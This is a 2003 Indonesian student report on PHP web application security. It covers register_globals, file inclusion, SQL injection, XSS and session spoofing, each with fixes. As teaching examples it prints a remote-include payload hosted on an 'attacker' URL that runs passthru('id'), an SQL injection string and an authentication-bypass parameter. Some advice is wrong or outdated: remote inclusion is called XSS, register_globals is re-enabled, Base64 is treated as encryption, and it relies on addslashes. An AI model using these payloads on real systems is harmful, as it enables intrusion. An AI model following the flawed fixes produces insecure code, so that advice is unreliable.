keamanan pada aplikasi web dengan php

advertisement
LAPORAN TUGAS AKHIR
Mata Kuliah
EI 7012 – KEAMANAN JARINGAN INFORMASI
Dosen : Dr.BUDI RAHARJO
KEAMANAN PADA APLIKASI WEB DENGAN PHP
Oleh :
ABD. THALIB
NIM. 23202112
([email protected])
BIDANG KHUSUS TEKNOLOGI INFORMASI
PROGRAM MAGISTER TEKNIK ELEKTRO
PROGRAM PASCASARJA
INSTITUT TEKNOLOGI BANDUNG
2003
ABSTRAK
PHP merupakan bahasa script yang digunakan untuk
membuat halaman web yang dinamis. Dinamis berarti halaman yang
akan ditampilkan dibuat saat halaman itu diminta oleh klien. Konsep
kerja PHP, sama halnya dengan HTML yang diawali dengan
permintaan suatu halaman web oleh browser. Berdasarkan URL
(Uniform Resource Locator) browser mendapat alamat dari web
browser, mengidentifikasi dan menyampaikan segala informasi yang
dibutuhkan web server. Ketika berkas PHP yang diminta didapat
oleh web server, isinya langsung dikirimkan ke mesin PHP untuk
diproses dan memberi hasilnya (berupa kode HTML) ke web server.
Selanjutnya web server menyampaikan ke klien.
PHP adalah aplikasi yang open source dan mempunyai
fasilitas autoglobal pada varibel, programer diberikan kemudahan
untuk mengaplikasikannya. Tetapi kemudahan ini pula yang
memudahkan attacker untuk merusak setiap program dijalankan.
Serangan ini dapat dihindari (diminimalkan) dengan
mengadakan pengamannya. Untuk itu tulisan ini akan mengkaji
berbagai sumber tentang aspek potensial yang mudah diganggu
keamanannya pada scrip PHP dan membuat alternatif solusi
penangannya.
KATA PENGANTAR
Puji dan syukur saya panjatkan kehadirat Allah SWT atas rahmat dan
karunia-NYA, sehingga saya dapat menyelesaikan tugas akhir mata kuliah : EI 7012
– KEAMANAN JARINGAN INFORMASI, dengan topik “KEAMANAN PADA
APLIKASI WEB DENGAN PHP”.
Pembahasan materi ini akan mengkaji aspek potensial yang mudah diganggu
keamanannya pada skrip PHP dan membuat alternatif solusi penangannya, yang
bersumber dari studi internet di beberapa situs. Dalam rangka menambah
pengetahuan saya berkenaan dengan ilmu pengetahuan yang berhubungan dengan
mata kuliah yang saya ikuti. Oleh karena itu, saya merasakan masih banyak
kekurangan dalam uraian tulisan saya ini. Untuk itu kritik dan saran sangat saya
harapkan demi perbaikan di masa yang akan datang.
Ucapan terima kasih saya sampaikan kepada Bpk.Dr.Budi Raharjo. yang
telah memberi bimbingan dan ilmunya kepada saya, semoga menjadi amal baik
nantinya. Amin.
Bandung, Oktober 2003
Penulis
DAFTAR ISI
Halaman Judul ………………………………………………………………
i
Abstrak ………………………………………………………………………
ii
Kata Pengantar ………………………………………………………………
iii
Daftar Isi ……………………………………………………………………..
iv
Daftar Gambar ……………………………………………………………….
v
BAB I PENDAHULUAN
……………………………………………….
1
…………………………………………………...
1
2. Skrip PHP ……………………………………………………………
1
3. Konsep Kerja PHP ………………………………………………….
3
4. Lubang Keamanan PHP ……………………………………………..
5
BAB II KEAMANAN PADA APLIKASI WEB DENGAN PHP ………..
6
1. Variabel Auto Global …………..…………………………………...
6
2. Fungsi Include(), Require() atau fopen
…………………………….
9
3. Hilangkan Karakter-Karakter Escape Dalam Perintah SQL …………
11
4. Hindari Upload Yang Salah …..…………………………………….
13
5. Hilangkan Karakter-Karakter Escape HTML Dalam Teks …………
13
6. Gunakan Ekstensi .php Untuk Semua File Script ..…………………
14
7. Tempatkan Isi Yang Sensitif Di Luar Direktori Root Dokumen ……
14
8. Berhati-Hati Terhadap Server Bersama ……………………………..
15
9. Hindari Pengertian Yang Ruwet dan Semaunya ……………………
16
10. Pengecekan Kondisi Dengan Jenis Variabel Yang Tidak Jelas ……..
18
11. Session Spoofing …………………………………………………….
19
12. Beberapa Tips Untuk Pengamanan Aplikasi Web Dengan PHP …….
20
BAB III KESIMPULAN ………………………………………………….
22
1. Apakah Itu PHP?
DAFTAR PUSTAKA
DAFTAR GAMBAR
Gambar 1. Tampilakn Kode HTML Pada Browser …………………………
2
Gambar 2. Tampilakn Kode PHP Pada Browser ……………………………
3
Gambar 3 Konsep Kerja HTML ………….…………………………………
4
Gambar 4. Konsep Kerja PHP ………………………………………………
4
BAB I
PENDAHULUAN
1. Apakah PHP Itu?
PHP adalah singkatan dari PHP Hypertext Preprocessor yaitu bahasa
berbentuk skrip yang ditempatkan di server dan dijalankan oleh server. Hasilnya ke
klien tempat pemakai menggunakan browser.
PHP dirancang untuk membentuk web dinamis. Artinya PHP dapat
membentuk suatu tampilan berdasarkan permintaan terkini. Misalnya
dapat
mengakses database dan menampilkannya di halaman web serta ineraktif dengan
cepat dan mudah. PHP dapat berinteraksi dengan hampir semua teknologi web yang
sudah ada. Developer dapat menulis sebuah program PHP yang mengeksekusi suatu
program CGI (Common Gateway Interface) di server web lain.
Skrip-skrip PHP semula berawal dari skrip Perl yang dikemas menjadi tool
yang disebut “Personal Home Page”. Paket inilah yang menjadi cikal bakal PHP.
Pada tahun 1995, Rasmus Lerdroft menciptakan PHP/FI Versi 2. Pada versi ini
pemrogram dapat menempelkan kode terstruktur di dalam tag HTML.
Pada awalnya, PHP dirancang untuk diintegrasikan dengan web server
Apache. Namun sekarang PHP juga dapat bekerja dengan web server seperti PWS
(Personal Web Server), IIS (Internet Information Server), dan Xitami. PHP bersifat
bebas dipakai (open source), dan software-nya dapat di-download melalui situs
www.php.net.
2. Skrip PHP
Skrip PHP berkedudukan sebagai tag dalam bahasa HTML. Sebagaimana
diketahui, HTML (HyperText Markup Language) adalah bahasa standar untuk
membuat halaman-halaman web. Berikut adalah contoh kode HTML dan kode PHP.
ƒ
Kode HTML :
Abd.Thalib - 23202112
<html>
<head>
<title>Kode HTML</title>
</head>
<body>
Ini Menggunakan Kode HTML <BR>
</body>
</html
Bila dijalankan melalui browser, maka hasilnya sebagai berikut:
Gambar 1. Tampilakn Kode HTML Pada Browser
ƒ
Kode PHP yang berada dalam kode HTML
<html>
<head>
<title>Kode PHP</title>
</head>
<body>
Ini Menggunakan Kode PHP <BR>
Abd.Thalib - 23202112
<?php
printf("Hari Ini Tgl. : %s ", Date ("d F Y"));
?>
</body>
</html>
Kode PHP diawali dengan <?php dan diakhiri dengan ?>. Pasangan kedua
kode inilah yang befungsi sebagai tag kode PHP. Berdasar tag inilah, server dapat
memahami kode PHP dan memprosesnya. Hasil dari skrip di atas adalah sebagai
berikut:
Gambar 2. Tampilakn Kode PHP Pada Browser
3. Konsep Kerja PHP
Konsep kerja HTML diawali dengan permintaan suatu halaman web oleh
browser. Berdasarkan URL (Uniform Resource Locator) ataudikenal dengan internet,
browser mendapat alamat dari web serve, mengidentifikasi halaman yang
dikehendaki, dan menyampaikan segala informasi yang dibutuhkan oleh web server.
Selanjutnya, web server akan mencarikan berkas yang diminta dan
membrikan isinya ke browser. Browser yang mendapatkan isinya segera melakukan
proses penerjemahan kode HTML dan menampilkannya ke layar pemakai (klien).
Abd.Thalib - 23202112
Web
Web
Server
Server
Kode HTML
Permintaan HTTP
(sesuatu html)
Tanggapan
HTTP
Browser
Klien
Gambar 3 Konsep Kerja HTML
Pada PHP prinsip kerjanya sama, hanya saja ketika berkas PHP yang diminta
didapatkan oleh web server, isinya segera dikirimkan ke mesin PHP dan mesin inilah
yang memproses dan memberikan hasilnya (berupa kode HTML) ke web server.
Selanjutnya, web server menyampaikannya ke klien.
Web
Web
Server
Server
Skrip PHP
Mesin PHP
Permintaan HTTP
(sesuatu PHP)
Browser
Klien
Kode HTML
Tanggapan
HTTP
.
Gambar 4. Konsep Kerja PHP
Abd.Thalib - 23202112
4. Lubang Keamanan PHP
PHP dapat dijalankan sama seperti aplikasi CGI (Common Gateway
Interface) seperti web server yang terintegrasi. Interpreter PHP mempunyai
kemampuan untuk mengakses hampir semua host-file system, network interfaces,
IPC, dan lain-lain. Konsekwensinya PHP potensial mendapat serangan dari attacker.
Untuk meminimalkan serangan programmer harus menyadari dan mengetahui halhal yang tidak diharapkan (merusak) saat program dijalankan, yaitu pengetahuan
kelemahan suatu sistem dan modus serangan secara umum yang diarahkan untuk
mengganggu keamanan program tersebut
Lubang keamanan yang paling umum di dalam skrip PHP dan tak terkecuali
pada aplikasi web yang manapun, adalah berkaitan dengan User Input. Banyak skrip
menggunakan informasi user yang legal dalam bentuk format web dan memproses
informasi ini dengan berbagai cara. Jika user input ini dilegalkan tanpa batasan,
maka user input potensial menyisipkan perintah-perintah yang tidak diinginkan
dalam skrip.
Abd.Thalib - 23202112
BAB II
KEAMANAN PADA APLIKASI WEB DENGAN PHP
Aplikasi web dengan PHP telah menjadi hal yang populer dalam
menyediakan akses global terhadap data, pelayanan, dan produk. Akan tetapi, akses
global yang merupakan keuntungan utama penggunaan web ini juga memberikan
lubang-lubang keamanan yang bisa diakses secara global dan sering disalahgunakan.
Memang bukan hal yang sulit untuk membuat aplikasi web menggunakan skrip PHP,
tetapi aplikasi ini bisa jadi mengandung lubang-lubang berbahaya tanpa disadari.
Kejadian ini ditampilkan oleh banyak aplikasi web umum lainnya., termasuk PHP
yang ternyata memiliki lubang-lubang keamanan berbahaya. Kode program sering
dibuat untuk mengidentifikasi lubang ini, tetapi biasanya kode program tersebut
mudah diakses oleh publik.
Tulisan
ini
menampilkan
langkah-langkah
yang
dapat
membantu
mengidentifikasi atau menghindari lubang-lubang demikian dalam aplikasi yang
dituliskan dengan menggunakan PHP.
1. Variabel Auto Global
Pada umumnya aplikasi PHP yang memiliki lubang keamanan berasal dari
kemampuan varibel autoglobal. Dengan adanya fasilitas autoglobal pada varibel,
programer diberikan kemudahan mengaplikasikan skrip PHP, tapi memudahkan pula
terjadinya lubang keamanan. Dengan fasilitas ini suatu varibel misalnya $x tidak
perlu dideklarasikan dahulu dan bisa merupakan varibel session, varibel cookie,
varibel dari GET/POST.
Tentu saja sebenarnya kelemahan keamanan bukan semata-mata berawal dari
varibel autoglobal, melainkan juga kurangnya kewaspadaan dari programer itu
sendiri.
Akibat lubang kemanan tersebut dapat mengakibatkan hal-hal berikut:
a). denial of service,
Abd.Thalib - 23202112
b). authentication failure,
c). account hijacking,
d). perusakan tampilan(layout),
e). implantasi virus web browser,dan lain-lain.
Kebanyakan aplikasi PHP yang ditemukan lubang keamanannya akibat
varibel autoglobal ini adalah aplikasi yang open source, karena user dapat
mengetahui kode aplikasi dan mengetahui nama-nama varibel yang digunakan. Jadi
dengan sedikit trik 'security through obscurity' sebenarnya skrip agak terlindungi dari
akibat fasilitas varibel autoglobal ini. Tapi tentu saja cara itu bukan hal yang baik,
karena cepat atau lambat lubang itu akan ditemukan.
Jika pilihan register_globals diaktifkan, maka PHP akan membentuk
variabel global untuk setiap variabel GET, POST, dan cookie termasuk dalam
meminta (request) HTTP. Ini berarti bahwa attaker kemungkinan mampu mengatur
variabel-variabel ini di luar perkiraan. Perhatikan kode berikut yang ditujukan untuk
melakukan akses tanpa nama terhadap sebuah artikel tunggal dan meminta
autentifikasi untuk semua artikel lain:
// anggaplah bahwa $article_id ditentukan oleh URL
if ($article_id == 0) {
$guest_ok = true;
}
if (!$guest_ok) {
// cek apakah pengguna diizinkan dengan menggunakan fungsi yang
// didefinisikan pada tempat lain
check_auth();
}
Kode ini mungkin terlihat dapat dijalankan karena variabel $guest_ok
secara umum akan diinisialisasi false. Akan tetapi, jika user memasukkan
guest_ok=1 dalam URL, maka dia akan lolos autentifikasi dan mengakses artikel
apapun dalam sistem.
Abd.Thalib - 23202112
Permasalahan yang sama dapat muncul saat melakukan pengecekan
keamanan saat terlihat hubungan (link) ke halaman, tetapi tidak melakukan
pengecekan keamanan pada halaman yang terhubung dengan user. Dalam sebuah
sistem di mana user mendapat hak akses untuk memilih daftar artikel. Programmer
seharusnya melakukan pengecekan keamanan saat mengeluarkan daftar artikel yang
tersedia dan saat menampilkan sebuah artikel yang sudah dipilih dari daftar itu.
Tanpa melakukan pengecekan ini, attacker dapat mengetik kode URL untuk artikelartikel yang seharusnya tidak boleh diakses olehnya dan melihat artikel itu tanpa
kesulitan. Variasi umum lain untuk permasalahan ini adalah menggunakan fitur
“Remember My Login” dengan menyimpan pengenal user dalam sebuah cookie, yang
mengizinkan user mengubah nilai cookie-nya untuk login.
Permasalahan ini dapat muncul di sembarang tempat dalam skrip yang
dibuat. Perhatikanlah dengan hati-hati daerah-daerah berikut.
▪
Kode pengecekan autentifikasi dan izin.
▪
Gunakan variabel sebelum diinisialisasi(dapat diatur melalui error_reporting)
▪
Gunakan variabel yang dirancang untuk mengatur permintaan oleh perintah
GET atau POST.
Langkah-langkah yang dapat dilakukan untuk mengatasi permasalahan ini
adalah sebagai berikut.
▪
Menonaktifkan register_globals dalam file php.ini. Sesudah melakukan
perubahan
ini,
Anda
akan
menggunakan
$HTTP_GET_VARS
dan
$HTTP_POST_VARS yang berhubungan dengan array untuk mengakses
input GET dan POST sebagai pengganti penggunaan variabel global. Hal ini
mungkin akan membosankan, tetapi jauh lebih aman.
▪
Jika fungsi “Remember My Login” dibutuhkan, masukkan sebuah password
atau berusaha keras menebak pengenal acak dalam cookie (fungsi “Remember
My Login” masih bisa memberikan lubang keamanan lain seperti pengguna
jahat yang membagi sebuah mesin dengan seorang pengguna resmi untuk
mendapatkan akses).
Abd.Thalib - 23202112
▪
Menuliskan kode untuk menginisialisasi variabel global. Kode fragmen di
atas dapt dikembangkan dengan menginisialisasi $guest_ok sehingga bernilai
false di awal script.
▪
Menjamin suatu variabel bahwa variabel itu benar-benar datang dari suatu
bagian dan tidak berasal dari attacker.
▪
Menuliskan kode untuk mengecek bahwa variabel global tidaklah berada
dalam array $HTTP_POST atau $HTTP_GET.
2. Fungsi include(), require() atau fopen()
Akibat mekanisme autoglobal, suatu varibel dalam php menjadi tidak jelas
jenisnya. Jenis variabel jadi tidak dapat dibedakan antara variabel dari GET/POST,
varibel dari ENVIRONTMENT atau varibel dari COOKIES/SESSION. Akibatnya
suatu variabel apa saja yang didefinisikan dapat dengan mudah diisi dengan nilai dari
varibel GET atau POST.
Kelemahan biasanya muncul ketika digunakan varibel untuk parameter
fungsi include(), require() atau fopen(). Dengan fungsi tersebut dapat dilakukan
eksekusi/parsing file PHP dari file lain, baik pada file dari disk local atau file dari
situs lain. Jika varibel untuk parameter fungsi tersebut diketahui,maka attacker dapat
mengganti nilai varibel tersebut dengan mengirimkan nilai varibel lewat metode
GET atau POST.
Contoh dibawah ini adalah vulnerability akibat menggunakan variabel pada
fungsi include(). Perhatikan kode dibawah ini :
include($phpgw_info["server"]["include_root"]."/phpgwapi/phpgw_info.inc.php");
Kode tersebut tidak aman karena walaupun menggunakan varibel array,
variable $phpgw_info masih dapat diganti dengan varibel GET/POST dari client atau
diganti dengan
sebuah url lain misalnya http://attacker/phpgwapi/phpgw_
info.inc.php, dimana file phpgw_info.inc.php dapat berisi kode php yang dapat
dieksekusi oleh server korban/victim, misalnya berupa kode :
<?php
Abd.Thalib - 23202112
$phpcode = 'echo("Hi there!<BR>");passthru("id");';
if (substr($HTTP_SERVER_VARS["HTTP_USER_AGENT"], 0, 3) == "PHP")
echo("<?php $phpcode ?>");
else
eval($phpcode);
exit();
?>
[ Detil vulnerability -> http://online.securityfocus.com/advisories/2947 ]
Kejadian seperti diatas, dimana suatu kode php dari situs lain diambil agar
dieksekusi di server korban sering disebut Cross Site Scripting (XSS).
Ada beberapa langkah untuk menghindari penggunaan variabel global saat
mengakses file, yaitu :
▪
Hindari penggunaan variabel sebagai nama file. Variabel $lib_dir di atas bisa
diganti dengan sebuah nilai yang didefinisikan oleh PHP yaitu fungsi define.
▪
Cek apakah nama file yang dibuat adalah salah satu dari nama file yang
diinginkan, misalnya:
$valid_pages = array (
“apage.php”
=> “”,
“another.php” => “”,
“more.php”
=> “”);
if (!isset($valid_pages[$page])) {
// batalkan script
// sebaiknya buat pesan log di sini juga
die(“Invalid request”);
}
▪
jika ternyata harus menggunakan sebuah variabel dari browser, cek dahulu
apakah nilai variabel menggunakan kode seperti di bawah ini:
Abd.Thalib - 23202112
if (!(eregi(“^[a-z_./]*$”, $page) && !eregi(\\.\\.,$page))) {
// batalkan script
// sebaiknya buat pesan log di sini juga
die(“Invalid request”);
}
▪
Jangan percaya variabel global untuk langkah berikutnya yang dapat
menjamin variabel tidak akan digunakan untuk hal-hal yang merusak.
▪
Gunakan konfigurasi varibel allow_url_fopen dan open_basedir untuk
membatasi lokasi di mana file bisa dibuka.
3. Hilangkan Karakter-Karakter Escape dalam Perintah SQL.
Kesalahan umum yang terjadi adalah penggunaan nilai variabel yang
disediakan oleh user atau URL dalam sebuah query SQL tanpa menghilangkan
karakter-karakter khusus. Perhatikan contoh kode fragmen berikut dari sebuah skrip
yang dirancang untuk mengecek kebenaran username dan password yang
dimasukkan dalam halaman HTML:
$query = “SELECT * FROM users WHERE username=’ “ . $username . “ ‘
AND password=’ “ . $password . “ ‘ “;
// record yang memenuhi perintah di atas terdapat di suatu tempat
if (record_exists($query)) {
echo “Access granted”;
} else {
echo “Access denied”;
}
Perintah ini akan jalan jika pengaksesan menggunakan check.php?user
name=admin&password=x. Akan tetapi, jika kode ini diakses dengan
menggunakan
check.php?
username=admin&password=a%27+OR+1%3Di
%271 (dan jika magic_quotes_gpc dibuat disabled) maka password akan menjadi
Password=’a’ or 1=’1’ sehingga record pengguna admin akan selalu dikembalikan
berapapun nilai password.
Abd.Thalib - 23202112
Permasalahan ini dapat dihilangkan secara terpisah dengan mendeklarasikan variabel magic_quotes_gpc pada file php.ini, yang berarti bahwa PHP
akan menghilangkan kutipan dalam GET, POST dan data cookie (data tidak berguna,
hanya membuang-buang waktu saja) yang menggunakan karakter \.. Namun
demikian, magic_quotes_gpc sering dibuat disabled karena variabel ini dapat
membuat kode lain menjadi aneh. Jika diberikan sebuah perintah echo $username
pada kode fragmen di atas, maka setiap kemunculan karakter ‘ akan diganti oleh \’.
Selanjutnya variabel magic_quotes_gpc tidak akan terlindungi dari nilai-nilai
variabel yang diperoleh dari sumber-sumber seperti record basis data atau file di
mana pengguna jahat kemungkinan sudah bermodifikasi selama operasi program
berjalan normal.
Pengguna harus betul-betul memperhatikan perintah pencarian (search)
pada basis datanya. Jika pengguna menggunakan MySQL contohnya, maka
pencarian ini dapat dilakukan dengan menggunakan fungsi mysql_db_query.
Ada beberapa langkah untuk mengatasi karakter-karakter escape. Langkahlangkah itu adalah:
▪
Gunakan fungsi addslashes yang sudah ada atau fungsi-fungsi serupa
Untuk menghindari kutipan dan backslash dalam perintah SQL dengan
backslash.
▪
Aktifkan variabel magic_quotes_gpc. Variabel ini bisa membantu,
tetapi jangan terlalu diandalkan. (Pengaktifan dan penggunaan addslashes
akan menghasilkan kesalahan).
▪
Jika menggunakan variabel yang diharapkan mengandung angka dalam
perintah SQL, yakinkan bahwa variabel-variabel itu betul-betul
mengandung angka. Di sini, bisa digunakan fungsi-fungsi yang sudah
dimiliki oleh PHP, di antaranya: sprintf, ereg, dan is_long untuk
mengecek nilai variabel.
Abd.Thalib - 23202112
4. Hindari Upload Yang Salah
File-file upload dapat rusak dari sebuah kemungkinan berbahaya yang
berasal dari permasalahan variabel global yang tidak dapat dipercaya. Hal ini layak
dipertimbangkan sebagai sebuah permasalahan tambahan. Saat sebuah file diuploaded, script PHP menyimpan file uploaded itu. Akan tetapi, user dapat
membangun URL yang mengatur nilai variabel ini hingga menjadi nilai yang tidak
diharapkan seperti /etc/passwd dan tidak akan meng-upload file. Skrip tersebut
kemungkinan kemudian menyalin file itu ke sebuah lokasi atau menampilkan isi file
ke user.
Apa yang harus dilakukan adalah menguji semua skrip yang berhubungan
dengan file upload. Pencarian dengan type=”file” mungkin bisa membantu
mengidentifikasi skrip-skrip ini.
Langkah-langkah perbaikan dan pengembangan dalam permasalahan ini
adalah seperti beikut ini.
▪
Menggunakan versi-versi PHP terbaru yang memiliki fungsi-fungsi
is_uploaded_file
dan
move_uploaded_file.
Versi
terbaru
ini
memperbolehkan pemrogram untuk menjamin bahwa fungsi-fungsi di
atas bekerja dengan file-file uploaded.
▪
Jika Anda tidak yakin bahwa kode Anda akan berjalan pada versi PHP
terbaru, aturlah setting konfigurasi upload_tmp_dir dan kemudian
lakukan pengecekan input untuk menjamin bahwa file di mana Anda
bekerja betul berada dalam direktori ini.
5. Hilangkan Karakter-Karakter Escape HTML Dalam Teks
Apa yang akan terjadi jika seseorang meletakkan sebuah tag <blink> dalam
sebuah bagian di halaman web? Jika tidak dihilangkan karakter HTML ini dalam
teks sebelum disimpan atau ditampilkan, maka semua teks berikutnya pada halaman
itu akan berkedib. Versi-versi lain yang lebih berbahaya dari hal ini juga
memungkinkan; contohnya attacker akan menulis JavaScript yang akan membawa
browser ke tempat pesaingnya.
Abd.Thalib - 23202112
Dalam permasalahan ini perlu diidentifikasi halaman yang menampilkan
teks yang dimasuki oleh user yang tidakdiinginkan.
Langkah-langkah perbaikan dan pengembangan adalah:
▪
Menghilangkan
HTML
dengan
tepat
sebelum
menyimpan
atau
menampilkannya. Untuk ini dapat digunakan fungsi-fungsi yang dimiliki
oleh PHP yaitu htmlspecialchars atau htmlentities untuk maksud ini.
▪
Jika Anda menginginkan agar pengguna yang tidak dapat dipercaya
menggunakan HTML untuk pemformatan, maka Anda seharusnya
melakukan validasi untuk membatasi tag-tag HTML yang tersedia
dengan hanya menggunakan tag dasar seperti <b> dan <I>.
6. Gunakan Ekstensi .php untuk Semua File Script
Banyak pemrogram PHP menggunakan ekstensi .inc atau .class untuk file
library dan file konfigurasi yang diakses dengan menggunakan fungsi include. Jika
attacker mengambil URL untuk file .inc atau .class dalam browser-nya, maka dia
tidak akan mampu melihat isi file ini, termasuk kode PHP apapun. Boleh jadi hal ini
memperlihatkan hak keintelektualan, password, atau kelemahan dalam pengkodean.
Apa yang harus dilakukan adalah menguji semua nama file dari semua file
script yang ada. Langkah-langkah perbaikan dan pengembangan adalah:
▪
gunakan ekstensi .php untuk semua file script,
▪
tempatkan file library dan file konfigurasi di luar direktori root dokumen
server web.
7. Tempatkan Isi Yang Sensitif Di Luar Direktori Root Dokumen
Banyak sistem PHP dirancang untuk membatasi akses ke dokumen atau
citra melalui autentifikasi user dan daftar kontrol akses. Akan tetapi, dokumendokumen ini sering disimpan sebagai file dalam sebuah subdirektori dari direktori
yang berisi skrip PHP. Hal ini tentu membuat file-file tersebut tersedia langsung jika
user memakai URL yang tepat dalam browser.
Abd.Thalib - 23202112
Jadi, janganlah meletakkan isi yang seharusnya rahasia dalam root aplikasi;
contohnya, jangan menempatkan citra yang dimaksudkan sebagai password yang
dilindungi dalam root aplikasi.
Apa yang harus dilakukan untuk mengatasi permasalahan ini adalah dengan
mengecek penempatan direktori yang digunakan untuk menyimpan file-file yang
mengandung isi rahasia. Langkah-langkah perbaikan dan pengembangan dalam
permasalahan ini adalah.
▪
Menyimpan isi sebagai sebuah file dalam sebuah direktori di luar direktori
root dokumen milik web server.
▪
Menyimpan isi dalam sebuah basis data.
▪
Menggunakan fitur web server seperti file Apache .htaccess untuk mencegah
akses langsung ke direktori isi.
8. Berhati-Hati terhadap Server Bersama
Banyak situs PHP mengambil keuntungan dengan murahnya tempat yang
disediakan oleh pihak ketiga. Penyedia tempat ini biasanya menggunakan server
bersama dengan pengguna-pengguna lain. Pengguna lain ini mungkin saja mampu
menggunakan skrip PHP atau akses shell untuk memodifikasi, mengakses, atau
menghapus file-file atau menentukan password basis data. Serangan lain yang
mungkin adalah kemampuan menciptakan file sesi (standarnya tersimpan dalam
/tmp) yang akan mengizinkan attacker menggunakan autentifikasi tersebut.
Apa yang harus dilakukan untuk mengatasi permasalahan ini adalah jika
server yang digunakan adalah server bersama, lihatlah dulu konfigurasi server
dengan menggunakan fungsi phpinfo. Juga lakukan pengecekan pada izin
penggunaan file-file yang sensitif. Langkah-langkah perbaikan dan pengembangan
dalam permasalahan ini adalah:
▪
Menggunakan server khusus sebagai gantinya. Perusahaan penyedia tempat
untuk situs PHP memiliki server khusus yang tersedia dengan harga yang
lebih tinggi, tetapi keamanan dan kinerja yang diberikan bisa mengimbangi
pengeluaran.
Abd.Thalib - 23202112
▪
Mengecek apakah perusahaan penyedia tempat sudah mengaktifkan setting
konfigurasi safe_mode (bisa dicek dengan menuliskan sebuah skrip yang
berjalan dengan fungsi phpinfo). Namun demikian, fungsi safe_mode juga
dapat mencegah eksekusi program lain sehingga membatasi fungsionalitas
situs.
▪
Menentukan perizinan file sehingga web server hanya bisa membaca file-file
jika diketahui namanya (Pada sistem Unix, berikan model direktori seperti
711).
9. Hindari Pengetikan yang Ruwet dan Semaunya
PHP akan sering mengubah tipe variabel dari satu tipe ke tipe lain untuk
mencocokkan isi dengan yang sedang digunakan. Permasalahan ini sulit
diidentifikasi, tetapi dapat membawa ke lubang-lubang keamanan dalam perangkat
lunak PHP. Perhatikan kode berikut:
<?php
// daftar pengguna biasa – kunci untuk tiap array merupakan user number dan
// nilainya adalah password
$users[0] = “”; //pengguna tamu (guest user)
$users[1] = “password1”;
$users[2] = “password2”;
// cek apakah pengguna sudah memasuki user ID 0, 1, atau 2
if ($user_id < 0 || $user_id > 2 ||!isset($user_id)) {
die(“Invalid user ID”);
}
// cek apakah user bukan tamu yang sudah memberikan password yang benar
if ($user_id != 0 && $password != $users[$user_id])) {
die(“Password Invalid”);
}
// cetak pesan yang memberitahukan pengguna siapa mereka
Abd.Thalib - 23202112
if ($user_id) {
echo “Anda pengguna resmi”;
} else {
echo “Anda pengguna tamu”;
}
?>
Kode ini terlihat sudah melakukan pengecekan yang cukup untuk menjamin
bahwa user ID yang benar sudah masuk. Daftar parameter dan output bisa dilihat
pada tabel berikut.
Nilai user_id
Nilai password
Output
Kebenaran output
4
x
Invalid user ID
Ya
l
y
Password Invalid
Ya
l
password1
Anda pengguna resmi
Ya
0
-
Anda pengguna tamu
Ya
a
z
Anda pengguna resmi
Tidak
00
z
Anda pengguna resmi
Tidak
Permasalahan ini cukup sulit diidentifikasi, tetapi kode berikut mungkin
dapat diserang:
▪
perbandingan nilai pengguna yang masuk dengan nilai numerik.
▪
ketidakkonsistenan ekspresi. Contohnya, penggunaan kombinasi if ($x != 0)
dan if ($x).
Langkah-langkah perbaikan dan pengembangan:
▪
mengecek kebenaran input pengguna dengan operasi pencocokkan tipe,
▪
menggunakan fungsi pengecekan tipe seperti is_long.
Abd.Thalib - 23202112
10. Pengecekan Kondisi Dengan Jenis Varibel Yang Tidak Jelas
Proses otentikasi ataupun autorisasi seringkali dilakukan dengan mengecek
kondisi yang membandingkan varibel GET/POST yang diberikan user atau varibel
dari session/cookie dengan suatu nilai.
Misalkan suatu halaman melakukan otentifikasi dengan kode seperti
dibawah ini:
<?php
session destroy()
session_start();
$session_auth = "admin";
session_register("session_auth");
?>
dan kemudian sebuah halaman menggunakan autorisasi dengan cara
mengecek varibel "session_auth" seperti ini:
<?php
if (!empty($session_auth)) {
// Kode jika autorisasi berhasil disini
}
?>
Kode pengecekan tersebut tidaklah aman, sebab dengan mudah attacker
dapat mengakses halaman tersebut dengan URL seperti http://victimhost/page.php?
session_auth=1 yang dapat membuat kondisi pada if diatas menjadi TRUE.
Kesalahan pemrograman seperti ini juga terjadi pada jenis varibel dari GET/POST,
varibel cookie.
Langkah-langkah perbaikan dan pengembangan:
Set konfigurasi auto_global menjadi off pada file php.ini dan mulailah
memprogram dengan pendefinisian varibel yang jelas, $_GET, $_POST, $_COOKIE
atau $_SESSION.
if ( $_POST['username'] == $user && $_POST['password'] == $pass ) {
/* ... */
Abd.Thalib - 23202112
}
Jika akses ke php.ini tidak ada, gunakan fungsi ini_set() :
ini_set("register_globals", 1);
11. Session Spoofing
Mekanisme session pada PHP tidak dilakukan dengan cara yang cukup
aman. Ketika suatu session dibentuk, misalnya saat user login, maka sebuah file
untuk menyimpan data variabel session dibuat dan akan tetap ada sebelum session
di-destroy. Session file tersebut dibuat pada direktori yang didefinisikan pada php.ini
sebagai session.save_path, pada UNIX biasanya adalah /temp/ sedangkan pada
Windows adalah sessiondata/ pada direktori dimana PHP diinstal.
File tersebut biasanya bernama seperti ini : sess_48f220fd650c06e84a15be
8fb85d dengan "48f220fd650c06e84a15be8fb85d" adalah nomor session ID aktual.
Session file dibuat oleh user yang menjalankan php/webserver, biasanya adalah
nobody.
Seorang attacker yang cukup memiliki kemampuan untuk menyimpan file
PHP sehingga file dapat diakses lewat URL, dapat membuat sebuah program PHP
yang melihat semua session file yang ada kemudian melihat isinya.
Sebuah session dapat berisi informasi-informasi yang krusial seperti
username, password dan lain-lain sehingga attacker dapat mengambil informasi
tersebut, atau paling tidak, jika sistem pengecekan untuk otentifikasi tidak terlalu
rumit, misalnya tanpa pengecekan IP host dari client, maka dengan menggunakan
session ID attacker dapat men-take over session tersebut. Atau mungkin, jika
attacker tahu apa yang harus diisi pada file tersebut, maka attacker dapat membuat
sessionya sendiri.
Langkah-langkah perbaikan dan pengembangan:
Mengubah direktori tempat menyimpan session file. Hal ini dapat dilakukan
lewat file konfigurasi php.ini atau dengan menggunakan fungsi session_save_path()
pada kode PHP. Kemudian buatlah direktori tersebut hanya memiliki hak akses
execute dan writable oleh user yang menjalankan webserver.
Abd.Thalib - 23202112
mkdir /temp/sessiondir/
chmod 300 /temp/sessiondir/
Konfigurasikan PHP agar menyimpan sessionnya pada database dengan
session_set_save_handler.Tentu saja solusi ini tidak terlalu baik, tetapi paling tidak
sudah memberi kerjaan yang berat buat attacker.
Sebagai tambahan, untuk menyimpan data yang krusial di session misalnya
password, dapat melakukan enkripsi varibel sebelum varibel tersebut disimpan pada
session, misalnya: minimal dengan Base64 encoding. Session spoofing juga dapat
terjadi akibat tidak amannya cara penampilan suatu halaman PHP.
5. Beberapa Tips Untuk Pengamanan Aplikasi Web Dengan PHP
a). Mengamankan Layout atau Tampilan.
Pada web yg dinamis, kita sering melakukan permintaan data dari user
